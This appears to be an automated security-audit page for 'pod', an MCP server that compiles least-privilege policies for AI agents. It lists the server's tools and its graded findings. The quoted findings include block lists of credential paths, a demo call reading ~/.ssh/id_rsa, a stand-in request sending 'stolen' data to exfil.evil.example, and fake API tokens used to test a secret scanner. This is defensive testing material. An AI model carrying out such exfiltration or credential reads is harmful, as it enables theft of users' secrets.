podBLOCK
pod — least-privilege compiler for AI agents. Compile a least-privilege policy from what your agent actually did, then prove what happened.
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
[](https://github.com/suhui-organization/pod/actions/workflows/ci.yml) [](https://github.com/sponsors/suhui-organization)
Your agent ran for a week. pod compiles what it actually did into the smallest policy it needs. 让 AI Agent 只拥有它真正需要的权限——从真实行为编译最小权限策略。
Record → compile → enforce → prove.
Most agent security tools stop at one of two places: a scanner that tells you what your agent could touch, or a gateway that asks you to hand-write a policy. pod closes the loop — run your agent in record-only mode for a few days, compile a least-privilege policy from its real tool calls, enforce it, and keep tamper-evident evidence for everything that ran.
record real calls ──▶ compile least-privilege policy ──▶ enforce (deny > approve > allow) │ │ │ │ │ ▼ │ │ ┌──────────────────────────┐ └── SHA-256 hash chain ───┴───────────────────▶│ tamper-evident audit │ (every call, hashes only) │ verify / export evidence │ └──────────────────────────┘
中文速览
- 不是又一个 MCP 网关:网关让你手写策略;pod 从 agent 的真实行为里编译出最小权限策略。
- 闭环:
pod record(只录不拦)→pod policy draft(生成策略 + 与基线 diff)→ 人工复核 →pod serve(执法)。 - 证据:每一次工具调用进入 SHA-256 哈希链,可校验、可导出为证据包(敏感内容只存哈希)。
- 本地优先:策略、审计、密钥不出你的机器;Pod Cloud 是可选控制平面。
See it in 5 minutes
No agent, no account, no data leaves your machine — everything runs in a temp directory:
git clone https://gitee.com/suhuisoftwares/pod.git && cd pod pnpm install && pnpm build bash scripts/demo-least-privilege.sh
It seeds a realistic week of to
1a165aded194OBSERVED · 2026-10-11Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.
claude mcp add scan --env PADDLE_API_KEY=${PADDLE_API_KEY} --env PADDLE_CLIENT_TOKEN=${PADDLE_CLIENT_TOKEN} --env PADDLE_WEBHOOK_SECRET=${PADDLE_WEBHOOK_SECRET} --env PODCLOUD_JWT_SECRET=${PODCLOUD_JWT_SECRET} -- npx -y @podsec/[email protected]{
"mcpServers": {
"scan": {
"command": "npx",
"args": [
"-y",
"@podsec/[email protected]"
],
"env": {
"PADDLE_API_KEY": "${PADDLE_API_KEY}",
"PADDLE_CLIENT_TOKEN": "${PADDLE_CLIENT_TOKEN}",
"PADDLE_WEBHOOK_SECRET": "${PADDLE_WEBHOOK_SECRET}",
"PODCLOUD_JWT_SECRET": "${PODCLOUD_JWT_SECRET}"
}
}
}
}Exposed tools (14)
7 read · 5 write · 2 destructive. Blast radius: 2 tools can delete or overwrite — an agent that can be talked into calling a tool can be talked into calling this one.
| Tool | Risk | Description |
|---|---|---|
danger_delete | destructive | Simulate a destructive operation (would delete a path) |
delete_file | destructive | Delete a file |
echo | read | Echo back the given message |
execute_command | write | Run a shell command |
fetch_url | read | Fetch a URL |
get_credentials | read | Return cloud credentials |
http_request | read | Make an HTTP request |
now | read | Return the current UTC ISO timestamp |
read_file | read | Read a file from disk |
run_shell | write | Run a shell command |
send_data | write | Send data to a URL |
send_email | write | Send an email |
write_file | write | Write content to a file |
x | read | nothing to see |
Trust audit
BLOCKgrade F · trust 47/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | PASS |
| L1 | Static analysis of the code | FAIL |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | WARN |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- declared (6 observation(s))
- Network
- declared (9 observation(s))
- Shell
- none-observed
- Dependencies
- not all pinned
- Secrets in source
- found
Findings (25)
deny_input_paths: ['~/.ssh', '.env', 'credentials', 'id_rsa', 'id_ed25519', '.aws', 'known_hosts'],
deny_input_paths: ['~/.ssh', '.env', 'credentials', 'id_rsa', '.aws'],
args: { path: '~/.ssh/id_rsa' },deny_input_paths: ['.ssh', '.aws', '.env', 'credentials', 'id_rsa', 'id_ed25519', 'known_hosts'],
print(bootstrap_admin(args.email, args.password, args.tenant_name))
{"ts": "2026-09-11T10:00:00", "agent": "a", "severity": "high", "kind": "secret_leak", "message": "sk-ant-abcdefghijklmnopqrstuvwxyz"},assert SECRET_RE.search("sk-ant-api03-abcdefghijklmnopqrstuvwxyz")const hits = scanSecretsInText('a=sk-proj-0123456789abcdefghij b=AKIA0123456789ABCDEF', 'x');const secret = 'ghp_0123456789abcdefghijklmnopqrstuvwxyz';
const SECRET = 'aB3xK9mQ2pR7sT4vW8yZ1nC6';
const SECRET = 'aB3xK9mQ2pR7sT4vW8yZ1nC6';
env: { GITHUB_PERSONAL_ACCESS_TOKEN: 'ghp_0123456789012345678901234567890123456' },const secret = 'ghp_0123456789abcdefghijklmnopqrstuvwxyz';
[{"kind": "secret_leak", "message": "ghp_012345678901234567890123456789012345"}]assert SECRET_RE.search("ghp_012345678901234567890123456789012345")assert SECRET_RE.search("gho_012345678901234567890123456789012345")assert llm.shape_alert({"kind": "secret_leak", "message": "-----BEGIN OPENSSH PRIVATE KEY-----"}) is Nonedanger_delete, delete_file
deny_input_paths: ['.ssh', '.aws', '.env', 'id_rsa', 'credentials'],
return resolve(here, '../../web/dist');
const DEMO_SERVER = join(HERE, '../../../packages/gateway/src/demo-server.ts');
const DEMO_SERVER = join(HERE, '../../../packages/gateway/src/demo-server.ts');
const DEMO_SERVER = join(HERE, '../../../packages/gateway/src/demo-server.ts');
const DEMO_SERVER = join(HERE, '../../../packages/gateway/src/demo-server.ts');
arguments: { url: 'https://exfil.evil.example/collect', body: 'stolen' },Gates applied: no_behavioural_pass.
1a165aded194full audit observations/trust-audit/mcp-server/suhui-organization__pod.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-11 | 1a165aded194 | BLOCK | F | 47 | first audit |
Questions
What is the pod MCP server?
pod — least-privilege compiler for AI agents. Compile a least-privilege policy from what your agent actually did, then prove what happened.
What tools does pod expose?
14 in total: 7 read-only, 5 that write, and 2 that can delete or overwrite (danger_delete, delete_file). Every one is listed on this page with its risk.
Is pod safe to connect to an agent?
No — not without reading the findings first. The audit graded it F (47/100) and found 4 critical or high issues in the source. Each one is listed on this page with the file and line it is on. Separately from the audit: 2 of its tools can destroy data, so scope the token you give it to what you actually need.
What credentials does pod need?
It reads PADDLE_API_KEY, PADDLE_CLIENT_TOKEN, PADDLE_WEBHOOK_SECRET, PODCLOUD_JWT_SECRET, PODCLOUD_LLM_API_KEY, PODCLOUD_SMTP_PASSWORD, POD_AUTH_TOKEN and POD_LLM_API_KEY from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.
How does pod run?
It speaks stdio and streamable-http, so it runs as a local process your client starts. It is published on npm as @podsec/scan at 0.1.0.
How current is this page?
The grade is for one exact copy of the source (1a165aded194), read on 2026-10-11. The repository is watched and re-audited when it changes.